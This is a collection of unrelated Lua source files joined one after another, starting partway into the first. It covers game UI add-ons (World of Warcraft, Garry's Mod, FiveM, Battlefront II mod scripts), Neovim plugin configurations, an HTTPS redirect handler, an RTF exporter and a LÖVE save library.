tagDisplay:SetPoint("RIGHT", infoFrame, "RIGHT", 0, 0)
-- Plugin: SearchBar
local searchText = infoFrame:CreateFontString(nil, "OVERLAY")
searchText:SetPoint("LEFT", infoFrame, "LEFT", 0, 0)
searchText:SetFont(R["media"].font, R["media"].fontsize)
searchText:SetText(SEARCH) -- our searchbar comes up when we click on infoFrame
local search = self:SpawnPlugin("SearchBar", infoFrame)
search.highlightFunction = highlightFunction -- same as above, only for search
search.isGlobal = true -- This would make the search apply to all containers instead of just this one
search:ClearAllPoints()
search:SetPoint("LEFT", infoFrame, 0, 0)
search:SetPoint("RIGHT", infoFrame, 0, 0)
search:SetHeight(20)
self.Search.Left:Hide()
self.Search.Right:Hide()
self.Search.Center:Hide()
S:ReskinInput(self.Search)
-- Plugin: BagBar
local bagBar = self:SpawnPlugin("BagBar", settings.Bags)
bagBar:SetSize(bagBar:LayoutButtons("grid", 7))
bagBar.highlightFunction = highlightFunction -- from above, optional, used when hovering over bag buttons
bagBar.isGlobal = true -- This would make the hover-effect apply to all containers instead of the current one
bagBar:Hide()
bagBar:SetPoint("BOTTOMLEFT", self, "BOTTOMLEFT", 5, 5)
self.BagBar = bagBar
-- creating button for toggling BagBar on and off
self:UpdateDimensions()
local closebutton = CreateFrame("Button", nil, self)
closebutton:SetFrameLevel(30)
closebutton:SetSize(14,14)
S:ReskinClose(closebutton)
closebutton:ClearAllPoints()
closebutton:SetPoint("TOPRIGHT", -6, -3)
closebutton:SetScript("OnClick", function(self)
if RayUI_ContainerFrame:AtBank() and self.name == "Bank" then
CloseBankFrame()
else
CloseAllBags()
end
end)
elseif name == "ItemSets" or name == "BankItemSets" then
local setname = self:CreateFontString(nil,"OVERLAY")
setname:SetPoint("TOPLEFT", self, "TOPLEFT",5,-5)
setname:SetFont(R["media"].font, R["media"].fontsize, "THINOUTLINE")
setname:SetText(string.format(EQUIPMENT_SETS,' '))
elseif name == "Consumables" or name == "BankConsumables" then
local setname = self:CreateFontString(nil,"OVERLAY")
setname:SetPoint("TOPLEFT", self, "TOPLEFT",5,-5)
setname:SetFont(R["media"].font, R["media"].fontsize, "THINOUTLINE")
setname:SetText(consumable)
elseif name == "Reagent" then
local reagentname = self:CreateFontString(nil,"OVERLAY")
reagentname:SetPoint("TOPLEFT", self, "TOPLEFT",5,-5)
reagentname:SetFont(R["media"].font, R["media"].fontsize, "THINOUTLINE")
reagentname:SetText(REAGENT_BANK)
local closebutton = CreateFrame("Button", nil, self)
closebutton:SetFrameLevel(30)
closebutton:SetSize(14,14)
S:ReskinClose(closebutton)
closebutton:ClearAllPoints()
closebutton:SetPoint("TOPRIGHT", -6, -3)
closebutton:SetScript("OnClick", function(self)
if RayUI_ContainerFrame:AtBank() then
CloseBankFrame()
end
end)
--Sort Button
self.sortButton = CreateFrame("Button", nil, self)
self.sortButton:Point("TOPLEFT", self, "TOPLEFT", 5, -24)
self.sortButton:Size(16, 16)
self.sortButton:SetNormalTexture("Interface\\ICONS\\INV_Pet_Broom")
self.sortButton:GetNormalTexture():SetTexCoord(.08, .92, .08, .92)
self.sortButton:SetPushedTexture("Interface\\ICONS\\INV_Pet_Broom")
self.sortButton:GetPushedTexture():SetTexCoord(.08, .92, .08, .92)
self.sortButton.pushed = true
self.sortButton:StyleButton(true)
self.sortButton.ttText = L["整理背包"]
self.sortButton:SetScript("OnEnter", B.Tooltip_Show)
self.sortButton:SetScript("OnLeave", B.Tooltip_Hide)
self.sortButton:SetScript("OnClick", SortReagentBankBags)
S:CreateBG(self.sortButton)
--Deposit Button
self.depositButton = CreateFrame("Button", nil, self)
self.depositButton:Point("LEFT", self.sortButton, "RIGHT", 3, 0)
self.depositButton:Size(16, 16)
self.depositButton:SetNormalTexture("Interface\\ICONS\\misc_arrowdown")
self.depositButton:GetNormalTexture():SetTexCoord(.08, .92, .08, .92)
self.depositButton:SetPushedTexture("Interface\\ICONS\\misc_arrowdown")
self.depositButton:GetPushedTexture():SetTexCoord(.08, .92, .08, .92)
self.depositButton.pushed = true
self.depositButton:StyleButton(true)
self.depositButton.ttText = REAGENTBANK_DEPOSIT
self.depositButton:SetScript("OnEnter", B.Tooltip_Show)
self.depositButton:SetScript("OnLeave", B.Tooltip_Hide)
self.depositButton:SetScript("OnClick", DepositReagentBank)
S:CreateBG(self.depositButton)
self.reagentToggle = CreateFrame("Button", nil, self)
self.reagentToggle:Point("LEFT", self.depositButton, "RIGHT", 3, 0)
self.reagentToggle:Size(16, 16)
self.reagentToggle:SetNormalTexture("Interface\\Buttons\\Button-Backpack-Up")
self.reagentToggle:GetNormalTexture():SetTexCoord(.08, .92, .08, .92)
self.reagentToggle:SetPushedTexture("Interface\\Buttons\\Button-Backpack-Up")
self.reagentToggle:GetPushedTexture():SetTexCoord(.08, .92, .08, .92)
self.reagentToggle.pushed = true
self.reagentToggle:StyleButton(true)
self.reagentToggle.ttText = BANK
self.reagentToggle:SetScript("OnEnter", B.Tooltip_Show)
self.reagentToggle:SetScript("OnLeave", B.Tooltip_Hide)
S:CreateBG(self.reagentToggle)
self.reagentToggle:SetScript("OnClick", function()
PlaySound(SOUNDKIT.IG_CHARACTER_INFO_TAB)
ReagentBankFrame:Hide()
BankFrame.selectedTab = 1
f.reagent:Hide()
f.bank:Show()
end)
if not IsReagentBankUnlocked() then
local buyReagent = CreateFrame("Button", nil, self, "UIPanelButtonTemplate")
buyReagent:SetText(BANKSLOTPURCHASE)
buyReagent:SetWidth(buyReagent:GetTextWidth() + 20)
buyReagent:Point("TOPRIGHT", self, "TOPRIGHT", -6, -21)
buyReagent:SetScript("OnEnter", function(self)
GameTooltip:SetOwner(self, "ANCHOR_RIGHT")
GameTooltip:AddLine(REAGENT_BANK_HELP, 1, 1, 1, true)
GameTooltip:Show()
end)
buyReagent:SetScript("OnLeave", function()
GameTooltip:Hide()
end)
buyReagent:SetScript("OnClick", function()
StaticPopup_Show("CONFIRM_BUY_REAGENTBANK_TAB")
end)
buyReagent:SetScript("OnEvent", function(self, event)
if event == "REAGENTBANK_PURCHASED" then
f.reagent:OnContentsChanged()
end
if IsReagentBankUnlocked() then
buyReagent:UnregisterAllEvents()
buyReagent:Hide()
end
end)
S:Reskin(buyReagent)
buyReagent:RegisterEvent("REAGENTBANK_PURCHASED")
buyReagent:RegisterEvent("PLAYER_ENTERING_WORLD")
end
end
if name == "Bank" then
local bankname = self:CreateFontString(nil,"OVERLAY")
bankname:SetPoint("TOPLEFT", self, "TOPLEFT",5,-5)
bankname:SetFont(R["media"].font, R["media"].fontsize, "THINOUTLINE")
bankname:SetText(BANK)
self.sortButton:ClearAllPoints()
self.sortButton:SetPoint("LEFT", bankname, "RIGHT", 5, 0)
self.reagentToggle = CreateFrame("Button", nil, self)
self.reagentToggle:Point("LEFT", self.bagsButton, "RIGHT", 3, 0)
self.reagentToggle:Size(16, 16)
self.reagentToggle:SetNormalTexture("Interface\\ICONS\\INV_Enchant_DustArcane")
self.reagentToggle:GetNormalTexture():SetTexCoord(.08, .92, .08, .92)
self.reagentToggle:SetPushedTexture("Interface\\ICONS\\INV_Enchant_DustArcane")
self.reagentToggle:GetPushedTexture():SetTexCoord(.08, .92, .08, .92)
self.reagentToggle.pushed = true
self.reagentToggle:StyleButton(true)
self.reagentToggle.ttText = REAGENT_BANK
self.reagentToggle:SetScript("OnEnter", B.Tooltip_Show)
self.reagentToggle:SetScript("OnLeave", B.Tooltip_Hide)
S:CreateBG(self.reagentToggle)
self.reagentToggle:SetScript("OnClick", function()
PlaySound(SOUNDKIT.IG_CHARACTER_INFO_TAB)
ReagentBankFrame:Show()
BankFrame.selectedTab = 2
f.reagent:Show()
if not IsReagentBankUnlocked() then
f.reagent:SetSize(200, 50)
end
f.bank:Hide()
end)
end
if name == "Main" or name == "ItemSets" or name == "Consumables" then
self:HookScript("OnShow", function()
R.Tooltip:GameTooltip_SetDefaultAnchor(GameTooltip)
end)
self:HookScript("OnHide", function()
R.Tooltip:GameTooltip_SetDefaultAnchor(GameTooltip)
end)
end
end
self:OpenBags()
self:CloseBags()
self:RawHook("OpenBag","OpenBags", true)
self:HookScript(TradeFrame, "OnShow", "OpenBags")
self:HookScript(TradeFrame, "OnHide", "CloseBags")
end
function B:Info()
return L["|cff7aa6d6Ray|r|cffff0000U|r|cff7aa6d6I|r背包模块."]
end
R:RegisterModule(B:GetName())
|
local pickers = require "telescope.pickers"
local make_entry = require "telescope.make_entry"
local finders = require "telescope.finders"
local utils = require "telescope.utils"
local conf = require("telescope.config").values
local M = {}
local function list_tests(opts)
-- get the lsp_document_symbols; pass in {symbol="Class"}
-- to only filter for Kind="Class"
-- TODO what if there is more than one class? take the outer one
local params = vim.lsp.util.make_position_params()
local results_lsp, err = vim.lsp.buf_request_sync(0, "textDocument/documentSymbol", params, opts.timeout or 10000)
if err then
vim.api.nvim_err_writeln("Error when finding document symbols: " .. err)
return
end
if not results_lsp or vim.tbl_isempty(results_lsp) then
print "No results from textDocument/documentSymbol"
return
end
local locations = {}
for _, server_results in pairs(results_lsp) do
vim.list_extend(locations, vim.lsp.util.symbols_to_items(server_results.result, 0) or {})
end
locations = utils.filter_symbols(locations, opts)
if locations == nil then
-- error message already printed in `utils.filter_symbols`
return
end
if vim.tbl_isempty(locations) then
print("no symbols found")
return
end
-- turn the result into a lsp_references request
-- construct https://microsoft.github.io/language-server-protocol/specifications/specification-current/#textDocumentPositionParams
local params = {
textDocument = {
uri = vim.uri_from_fname(locations[1].filename)
},
position = {
line = locations[1].lnum - 1,
character = locations[1].col,
},
}
-- telescope.builtin.lsp.references
-- TODO I assume I do not want to include the declaration?
params.context = { includeDeclaration = true }
local results_lsp, err = vim.lsp.buf_request_sync(0, "textDocument/references", params, opts.timeout or 10000)
if err then
vim.api.nvim_err_writeln("Error when finding references: " .. err)
return
end
local locations = {}
for _, server_results in pairs(results_lsp) do
if server_results.result then
vim.list_extend(locations, vim.lsp.util.locations_to_items(server_results.result) or {})
end
end
-- filter locations for tests
-- TODO this might differ by language
-- would it make sense/be feasible to look for an import/annotation
-- to confirm its a test as opposed to just looking for a pattern in the
-- filename?
--
-- TODO I create a set so test files only occur once
-- how do I choose which of the references to take?
-- or do I simply override their lnum and col to 0?
local tests = {}
for _, l in ipairs(locations) do
if string.find(l.filename, "[tT]est") then
tests[l.filename] = l
end
end
-- turn it into a location list for telescope
-- into files
local test_locations = {}
for _, tl in pairs(tests) do
test_locations[#test_locations+1] = {
value = tl.filename,
}
end
-- TODO why is the DateTimeUnitTest not included?
return test_locations
end
M.list_tests = list_tests
M.list = function(opts)
opts = opts or { symbols = "Class" }
local locations = list_tests(opts)
-- TODO do not show the message. does that mean I don't want the previewer?
pickers.new(opts, {
prompt_title = "LSP Test References",
finder = finders.new_table {
results = locations,
entry_maker = opts.entry_maker or make_entry.gen_from_file(opts),
},
previewer = conf.file_previewer(opts),
sorter = conf.generic_sorter(opts),
}):find()
end
return M
|
return function(req, res, go)
if req.socket.tls then return go() end
res.code = 301
res.headers["Location"] = "https://" .. req.headers.Host .. req.path
res.body = "Redirecting to HTTPS...\n"
end
|
-- © 2011 David Given.
-- WordGrinder is licensed under the MIT open source license. See the COPYING
-- file in this distribution for the full text.
local NextCharInWord = wg.nextcharinword
local ReadU8 = wg.readu8
local string_len = string.len
local string_char = string.char
local string_format = string.format
local string_gsub = string.gsub
local table_concat = table.concat
-----------------------------------------------------------------------------
-- The exporter itself.
local function unrtf(s)
local ss = {}
local o = 1
local n = string_len(s)
while (o <= n) do
local c = ReadU8(s, o)
o = NextCharInWord(s, o)
if (c == 92) then
ss[#ss+1] = "\\"
elseif (c == 123) then
ss[#ss+1] = "\\{"
elseif (c == 125) then
ss[#ss+1] = "\\}"
elseif (c < 127) then
ss[#ss+1] = string_char(c)
elseif (c < 0x10000) then
ss[#ss+1] = string_format('\\u%d ', c)
else
c = c - 0x10000
ss[#ss+1] = string_format('\\u%d', 0xd800 + (c / 0x400))
ss[#ss+1] = string_format('\\u%d ', 0xdc00 + (c % 0x400))
end
end
return table_concat(ss)
end
local style_tab =
{
["H1"] = {1, '\\fs40\\sb400\\b\\sbasedon0 H1'},
["H2"] = {2, '\\fs36\\sb360\\b\\sbasedon0 H2'},
["H3"] = {3, '\\fs32\\sb320\\b\\sbasedon0 H3'},
["H4"] = {4, '\\fs28\\sb280\\b\\sbasedon0 H4'},
["P"] = {5, '\\fs28\\sb140\\sbasedon0 P'},
["L"] = {6, '\\fs28\\sb140\\sbasedon5 L'},
["LB"] = {7, '\\fs28\\sb140\\sbasedon5 LB'},
["Q"] = {8, '\\fs28\\sb140\\li500\\sbasedon5 Q'},
["V"] = {9, '\\fs28\\sb140\\li500\\sbasedon5 V'},
["PRE"] = {10, '\\fs28\\sb140\\sbasedon5 PRE'},
}
local function callback(writer, document)
local settings = DocumentSet.addons.htmlexport
return ExportFileUsingCallbacks(document,
{
prologue = function()
writer('{\\rtf1\\ansi\\deff0')
writer('{\\fonttbl{\\f0 Times New Roman}}')
writer('\\deflang1033\\widowctrl')
writer('\\uc0')
writer('{\\listtable\n')
writer('{\\list\\listtemplateid1\\listsimple\n')
writer('{\\listlevel\\levelnfc23{\\levelfollow1\\leveltext \\u8226;}\\fi-300\\li500}\n')
writer('\\listid1\\listname LB;}\n')
writer('}\n')
writer('{\\listoverridetable\n')
writer('{\\listoverride\\listid1\\listoverridecount0\\ls1}\n')
writer('}\n')
writer('{\\stylesheet\n')
writer('{\\s0 Normal;}\n')
for _, s in pairs(style_tab) do
writer('{\\s', s[1], ' ', s[2], ';}\n')
end
writer('}\n')
writer('\n')
end,
rawtext = function(s)
writer(s)
end,
text = function(s)
writer(unrtf(s))
end,
notext = function(s)
end,
italic_on = function()
writer('\\i ')
end,
italic_off = function()
writer('\\i0 ')
end,
underline_on = function()
writer('\\ul ')
end,
underline_off = function()
writer('\\ul0 ')
end,
list_start = function()
writer('<ul>')
end,
list_end = function()
writer('</ul>')
end,
paragraph_start = function(style)
writer('{\\pard\\s', style_tab[style][1])
if (style == "LB") then
writer('\\ls1')
end
writer(' ')
italic = false
underline = false
--changepara(style)
end,
paragraph_end = function(style)
writer('\\par}\n')
end,
epilogue = function()
writer('}')
end
})
end
function Cmd.ExportRTFFile(filename)
return ExportFileWithUI(filename, "Export RTF File", ".rtf",
callback)
end
|
Weapon.PrettyName = "FAMAS-F1"
Weapon.WeaponID = "swb_css_famas"
Weapon.DamageMultiplier = 1.6
Weapon.WeaponType = WEAPON_PRIMARY |
--[[
Copyright (c) 2012 Dale James
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
--]]
--write a (non-serial) table to a file. The filename should be a property of "data": data._fileName = "*.extn"
local jupiter = {saveDir = "save"}
jupiter.save = function(data)
assert(type(data) == "table", "Tables must be provided to saveFile!")
if not love.filesystem.isDirectory(jupiter.saveDir) then assert(love.filesystem.createDirectory(jupiter.saveDir), "Unable to create save directory in " .. love.filesystem.getSaveDirectory() .. "!") end --make the save folder if required
file = love.filesystem.newFile(data._fileName)
file:open("w")
local function serial(table, scope)
scope = scope or ""
for k, v in pairs(table) do
if k ~= "_fileName" then
if type(v) == "table" then
serial(v, scope .. tostring(k) .. ".")
else
x = file:write(scope .. k .. "=" .. tostring(v) .. "\n") --write value
if not x then return nil end
end
end
end
end
serial(data)
return true
end
--load a file. If no specific file is given it returns the latest save file
jupiter.load = function(name)
if not love.filesystem.isDirectory(jupiter.saveDir) then assert(love.filesystem.createDirectory(jupiter.saveDir), "Unable to create save directory in " .. love.filesystem.getSaveDirectory() .. "!") end
--load the latest save file if no file is given (useful for 'continue' option)
if not name then
local saveFiles = love.filesystem.getDirectoryItems(jupiter.saveDir)
local orderedFiles = {}
for k, file in ipairs(saveFiles) do
--ignore files such as .DS_Store
if not (file:sub(1, 1) == ".") and file:match("%.save$") then
table.insert(orderedFiles, {f = file, t = love.filesystem.getLastModified(jupiter.saveDir .. "/" .. file) or 0})
end
end
if # orderedFiles ~= 0 then
--sort the files in modified order
table.sort(orderedFiles, function(a, b) return a.t > b.t end)
name = orderedFiles[1]
end
end
--don't do anything if there are no saves
if name then
if love.filesystem.isFile(name) then
local saveFile = {} --data from the file
local pointer
--find tables
local function deserial(value)
pointer = saveFile
local scope, dotCount = value:gsub("%.", "%1")
for x = 1, dotCount do
local element = scope:match("^(..-)%.") --get the leftmost index
scope = scope:match("^" .. element .. "%.(.+)") --trim the current index for the next iteration
element = tonumber(element) and tonumber(element) or element
pointer[element] = not pointer[element] and {} or pointer[element] --create the table if needed
pointer = pointer[element] --set the pointer to the current level
end
return scope
end
--load the data
for l in love.filesystem.lines(name) do
local k, v = l:match("^(..-)=(.+)$")
if k and v then
local index = deserial(k)
if v ~= "nil" and v ~= "false" then --ignore nil values that may have been set by the player
index = tonumber(index) and tonumber(index) or index
pointer[index] = tonumber(v) and tonumber(v) or v
end
end
end
saveFile._fileName = name
return saveFile
end
end
end
return jupiter
|
-- https://github.com/f3fora/cmp-spell
-- Setting spell (and spelllang) is mandatory to use spellsuggest.
vim.opt.spell = true
vim.opt.spelllang = { 'en_us' }
|
set("foo","bar")
log("Foo "..get("foo"))
log("Fuz "..get("fuz"))
|
local gc = Var("GameCommand");
local string_name = gc:GetText()
local string_expl = THEME:GetString(Var "LoadingScreen", gc:GetName().."Explanation")
local icon_color = ModeIconColors[gc:GetName()];
local t = Def.ActorFrame {};
t[#t+1] = Def.ActorFrame {
GainFocusCommand=cmd(stoptweening;bob;effectmagnitude,0,6,0;decelerate,0.05;zoom,1);
LoseFocusCommand=cmd(stoptweening;stopeffect;decelerate,0.1;zoom,0.6);
LoadActor("_background base")..{
InitCommand=cmd(diffuse,icon_color);
};
LoadActor("_background effect");
LoadActor("_gloss");
LoadActor("_stroke");
LoadActor("_cutout");
-- todo: generate a better font for these.
LoadFont("Common Large")..{
Text=string.upper(string_name);
InitCommand=cmd(y,-12;maxwidth,232);
OnCommand=cmd(diffuse,Color.Black;shadowlength,1;shadowcolor,color("#ffffff77");skewx,-0.125);
};
LoadFont("Common Normal")..{
Text=string.upper(string_expl);
InitCommand=cmd(y,27.5;maxwidth,232);
};
LoadActor("_background base") .. {
DisabledCommand=cmd(diffuse,color("0,0,0,0.5"));
EnabledCommand=cmd(diffuse,color("1,1,1,0"));
};
};
return t |
local gVehicles = {}
MySQL.ready(function()
gVehicles = MySQL.Sync.fetchAll('SELECT * FROM vehicle_shop')
end)
ESX.RegisterServerCallback('fivem-vehicleshop:getVehicles', function(playerId, cb)
cb(gVehicles)
end)
ESX.RegisterServerCallback('fivem-vehicleshop:buyVehicle', function(playerId, cb, vehicleName, plate)
local xPlayer = ESX.GetPlayerFromId(playerId)
for i = 1, #gVehicles do
local vehicle = gVehicles[i]
if vehicle.name == vehicleName then
if vehicle.stock > 0 then
local vehiclePrice = vehicle.price
if vehiclePrice and xPlayer.getMoney() >= vehiclePrice then
xPlayer.removeMoney(vehiclePrice)
MySQL.Async.execute('INSERT INTO owned_vehicles (owner, plate, vehicle) VALUES (@owner, @plate, @vehicle)', {
['@owner'] = xPlayer.identifier,
['@plate'] = plate,
['@vehicle'] = json.encode(
{
model = GetHashKey(vehicleName),
plate = plate
}
)
}, function(rowsChanged)
xPlayer.showNotification(('O veículo com placa ~y~%s~s~ agora pertence a ~b~você~s~'):format(plate))
vehicle.stock = vehicle.stock - 1
MySQL.Async.execute('UPDATE vehicle_shop SET stock = @stock WHERE name = @vehicleName', {
['@vehicleName'] = vehicleName,
['@stock'] = vehicle.stock
})
cb(true)
end)
else
cb(false)
end
end
break
end
end
end)
-- https://github.com/esx-framework/esx-legacy/blob/cae7d8e7fddf02658dcbe858d61b5eb8cfcffca8/%5Besx_addons%5D/esx_vehicleshop/server/main.lua#L395
ESX.RegisterServerCallback('fivem-vehicleshop:isPlateTaken', function(source, cb, plate)
MySQL.Async.fetchAll('SELECT 1 FROM owned_vehicles WHERE plate = @plate', {
['@plate'] = plate
}, function(result)
cb(result[1] ~= nil)
end)
end) |
local present, ts_config = pcall(require, "nvim-treesitter.configs")
if not present then
return
end
local default = {
ensure_installed = {
"lua",
"vim",
},
highlight = {
enable = true,
use_languagetree = true,
},
}
local M = {}
M.setup = function(override_flag)
if override_flag then
default = require("core.utils").tbl_override_req("nvim_treesitter", default)
end
ts_config.setup(default)
end
return M
|
ReadDataFile("..\\..\\addon\\ME5\\data\\_LVL_PC\\master.lvl") -- Load MEU's pre-packaged scripts (required)
--
-- Copyright (c) 2005 Pandemic Studios, LLC. All rights reserved.
--
ScriptCB_DoFile("ME5_Master") -- MEU's master include file (required)
ScriptCB_DoFile("ME5_setup_teams") -- MEU's version of setup_teams.lua (required)
ScriptCB_DoFile("ME5_ObjectiveConquest") -- MEU's ObjectiveConquest script (required for Conquest matches)
-- Create a new MapManager object
manager = MapManager:New{
-- Map-specific details
bIsModMap = true, -- Whether or not this is a mod map (as opposed to a stock map).
gameMode = "conquest", -- The mission's game mode.
mapSize = "med", -- Size of the map. Used for determining unit counts.
environmentType = "jungle", -- Map's biome (essentially). Used for determining which camo textures to load. ("desert", "jungle", "snow", or "urban")
-- In-game music (you can also specify a table of values and one of them will be randomly selected at runtime, example: `musicVariation_SSVxGTH = {"1","3"}` )
musicVariation_SSVxGTH = "3_vrm", -- Music variation to use for SSVxGTH matches.
musicVariation_SSVxCOL = "5", -- Music variation to use for SSVxCOL matches.
musicVariation_EVGxGTH = "9", -- Music variation to use for EVGxGTH matches.
musicVariation_EVGxCOL = "9", -- Music variation to use for EVGxCOL matches.
musicVariation_SSVxRPR = "5_mahavid", -- Music variation to use for SSVxRPR matches.
-- Online matches
onlineSideVar = "SSVxGTH", -- Faction combination to use in online matches.
onlineHeroSSV = "shep_engineer", -- SSV hero to use in online matches.
onlineHeroGTH = "gethprime_me2", -- GTH hero to use in online matches.
onlineHeroCOL = "colgeneral", -- COL hero to use in online matches.
onlineHeroEVG = "gethprime_me3", -- EVG hero to use in online matches.
-- AI hero spawns (required). CP name, CP spawn path name
heroSupportCPs = {
{"cp1", "cp1_spawn"},
{"cp2", "cp2_spawn"},
{"cp3", "cp3_spawn"},
{"cp4", "cp4_spawn"},
{"cp5", "cp5_spawn"},
{"cp6", "cp6_spawn"},
},
-- Local ally spawns (required). CP name, CP spawn path name
allySpawnCPs = {
{"cp1", "cp1_spawn"},
{"cp2", "cp2_spawn"},
{"cp3", "cp3_spawn"},
{"cp4", "cp4_spawn"},
{"cp5", "cp5_spawn"},
{"cp6", "cp6_spawn"},
},
-- Artillery strike path nodes (required only if artillery strikes are desired). Path name, path node ID
artilleryNodes = {
{"cp1_spawn", 0},
{"cp2_spawn", 0},
{"cp3_spawn", 0},
--{"cp4_spawn", 0},
{"cp5_spawn", 0},
{"cp6_spawn", 0},
},
terrainType = "dirt", -- Type of terrain in the map ("dirt, "sand", or "snow") (required if `artilleryNodes` is specified).
}
-- Initialize the MapManager
manager:Init()
-- Randomize which team is ATT/DEF
if not ScriptCB_InMultiplayer() then
CIS = math.random(1,2)
REP = (3 - CIS)
else
REP = 1
CIS = 2
end
HuskTeam = 3 -- The husk team (required, name cannot be changed)
ATT = 1
DEF = 2
function ScriptPostLoad()
--This defines the CPs. These need to happen first
cp1 = CommandPost:New{name = "cp1"}
cp2 = CommandPost:New{name = "cp2"}
cp3 = CommandPost:New{name = "cp3"}
cp4 = CommandPost:New{name = "cp4"}
cp5 = CommandPost:New{name = "cp5"}
cp6 = CommandPost:New{name = "cp6"}
--This sets up the actual objective. This needs to happen after cp's are defined
conquest = ObjectiveConquest:New{teamATT = ATT, teamDEF = DEF,
textATT = "game.modes.con",
textDEF = "game.modes.con2",
multiplayerRules = true}
--This adds the CPs to the objective. This needs to happen after the objective is set up
conquest:AddCommandPost(cp1)
conquest:AddCommandPost(cp2)
conquest:AddCommandPost(cp3)
conquest:AddCommandPost(cp4)
conquest:AddCommandPost(cp5)
conquest:AddCommandPost(cp6)
conquest:Start()
EnableSPHeroRules()
-- Perform various post-load operations
manager:Proc_ScriptPostLoad_End()
--BlockPlanningGraphArcs("ConnectionCave")
DisableBarriers("BarrierCave")
end
---------------------------------------------------------------------------
-- FUNCTION: ScriptInit
-- PURPOSE: This function is only run once
-- INPUT:
-- OUTPUT:
-- NOTES: The name, 'ScriptInit' is a chosen convention, and each
-- mission script must contain a version of this function, as
-- it is called from C to start the mission.
---------------------------------------------------------------------------
function ScriptInit()
-- Load our loadscreen
ReadDataFile("..\\..\\addon\\ME5\\data\\_LVL_PC\\Load\\AEI.lvl")
SetMemoryPoolSize("ParticleTransformer::ColorTrans", 2367)
SetMemoryPoolSize("ParticleTransformer::PositionTr", 1380)
SetMemoryPoolSize("ParticleTransformer::SizeTransf", 1533)
-- Perform various pre-game operations
manager:Proc_ScriptInit_Begin()
SetMaxFlyHeight(45)
SetMaxPlayerFlyHeight(45)
AISnipeSuitabilityDist(60)
SetAttackerSnipeRange(90)
SetDefenderSnipeRange(150)
-- Load the turrets
ReadDataFile("..\\..\\addon\\ME5\\data\\_LVL_PC\\SIDE\\me5tur.lvl",
"tur_bldg_mturret",
"tur_bldg_laser")
-- Load and set up the sides
manager:Proc_ScriptInit_SideSetup()
-- Load our map-specific sound lvl
ReadDataFile("..\\..\\addon\\ME5\\data\\_LVL_PC\\Sound\\SFL_AEI_Streaming.lvl")
-- Level Stats
-- ClearWalkers()
AddWalkerType(0, 0) -- special -> droidekas
AddWalkerType(1, 0) -- 1x2 (1 pair of legs)
AddWalkerType(2, 0) -- 2x2 (2 pairs of legs)
AddWalkerType(3, 0) -- 3x2 (3 pairs of legs)
local weaponCnt = 1024
SetMemoryPoolSize("Aimer", 75)
SetMemoryPoolSize("AmmoCounter", weaponCnt)
SetMemoryPoolSize("BaseHint", 1024)
SetMemoryPoolSize("EnergyBar", weaponCnt)
SetMemoryPoolSize("EntityCloth", 0)
SetMemoryPoolSize("EntityFlyer", 32)
SetMemoryPoolSize("EntityHover", 32)
SetMemoryPoolSize("EntityLight", 200)
SetMemoryPoolSize("EntitySoundStream", 4)
SetMemoryPoolSize("EntitySoundStatic", 32)
SetMemoryPoolSize("Navigator", 128)
SetMemoryPoolSize("Obstacle", 1024)
SetMemoryPoolSize("PathNode", 1024)
SetMemoryPoolSize("SoldierAnimation", 417)
SetMemoryPoolSize("SoundSpaceRegion", 24)
SetMemoryPoolSize("TreeGridStack", 1024)
SetMemoryPoolSize("UnitAgent", 128)
SetMemoryPoolSize("UnitController", 128)
SetMemoryPoolSize("Weapon", weaponCnt)
manager:Proc_ScriptInit_MemoryPoolInit()
SetSpawnDelay(10.0, 0.25)
ReadDataFile("..\\..\\addon\\ME5\\data\\_LVL_PC\\ME5\\AEI.lvl", "AEI_conquest")
SetDenseEnvironment("true")
-- Birdies
SetNumBirdTypes(1)
SetBirdType(0, 0.7, "bird")
SetBirdFlockMinHeight(60)
-- Fishies
SetNumFishTypes(1)
SetFishType(0, 0.88, "fish")
-- Sound Stats
-- Open our map-specific ambient sound streams
OpenAudioStream("..\\..\\addon\\ME5\\data\\_LVL_PC\\Sound\\SFL_AEI_Streaming.lvl", "AEI_ambiance")
--OpenAudioStream("..\\..\\addon\\ME5\\data\\_LVL_PC\\Sound\\SFL_AEI_Streaming.lvl", "AEI_ambiance")
-- Set up music
manager:Proc_ScriptInit_MusicSetup()
-- Set up common sound stuff
SoundFX()
-- Camera Stats
AddCameraShot(0.588003, -0.024096, -0.807822, -0.033104, -295.404785, 31.805162, -189.417618); -- Island Wide Angle
AddCameraShot(0.913883, 0.034342, -0.404237, 0.015190, -133.944977, 13.277077, 72.781090); -- Beach
AddCameraShot(0.134694, 0.005500, -0.990047, 0.040425, 106.765259, 31.005287, -192.390869); -- Caves
AddCameraShot(-0.454844, 0.063869, -0.879648, -0.123520, -161.709030, 47.911930, -241.780487); -- Crag
AddCameraShot(0.990507, -0.137447, -0.002231, -0.000310, -185.309265, 24.109367, -32.575871); -- Dunes
AddCameraShot(0.983676, -0.153915, -0.092113, -0.014413, -87.806061, 24.917538, -50.486591); -- Gorge
AddCameraShot(0.597136, 0.018231, -0.801560, 0.024472, -77.412819, 23.308689, -214.238998); -- Ravine
-- Perform various post-load operations
manager:Proc_ScriptInit_End()
end |
do
local developer = GetConVar("developer")
_G.DEVELOPER = developer:GetBool()
function IsDeveloper(n)
return developer:GetInt() >= (n or 1)
end
end
local function lom(path)
local f = file.Open(path, 'rb', 'LuaMenu')
if not f then
ErrorNoHalt("Could not open: " .. path .. '\n')
return
end
local str = f:Read(f:Size())
f:Close()
local func = CompileString(str, '@' .. path, false)
if isstring(func) then
error(func)
else
return func
end
end
local function lrm(_, _, _, code)
local func = CompileString(code, "", false)
if isstring(func) then
Msg"Invalid syntax> "
print(func)
return
end
MsgN("> ", code)
xpcall(func, function(err)
print(debug.traceback(err))
end)
end
concommand.Add("lrm", lrm, nil, "Run lua on the menu state.", FCVAR_UNREGISTERED)
